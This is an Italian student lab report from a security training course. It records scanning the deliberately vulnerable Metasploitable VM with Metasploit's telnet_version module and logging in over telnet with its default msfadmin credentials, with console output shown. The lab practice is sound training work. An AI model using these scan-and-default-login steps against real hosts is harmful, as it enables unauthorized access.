EPICODE CS0124

REPORT S7L2

La traccia richiede di sfruttare la vulnerabilita' relativa a telnet presente sulla macchina metasploitable.

Il primo passo e' stato settare gli indirizzi ip di kali e meta rispettivamente 192.168.1.25 e 192.168.1.40

Startiamo Kali e avviamo il programma metasploit tramite il comando msfconsole

A questo punto settiamo il target e impostiamo l'indirizzo ip di meta con il comando set RHOSTS 192.168.1.40

Successivamente chiediamo a metsploit di expolitare la vulnerabilita' telnet che si trova all'interno della cartella scanner con il comando use auxiliary/scanner/telnet/telnet_version e avviamo il comando con exploit, adesso siamo dentro metasploitable e per confermare l'accesso eseguiamo il comando telnet 192.168.1.40. Dopo aver inserito le credenziali possiamo effettuare un'ulteriore verifica chiedendo alla macchina whoami. La risposta che ci torna sara' msfadmin.


+ -- --=[2397 exploits - 1235 auxiliary - 422 post]
+ -- --=[1391 payloads - 46 encoders - 11 nops]
+ -- --=[9 evasion]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > set RHOSTS 192.168.1.40
RHOSTS ⇒ 192.168.1.40
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Mar 5 04:08:07 EST 2024 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.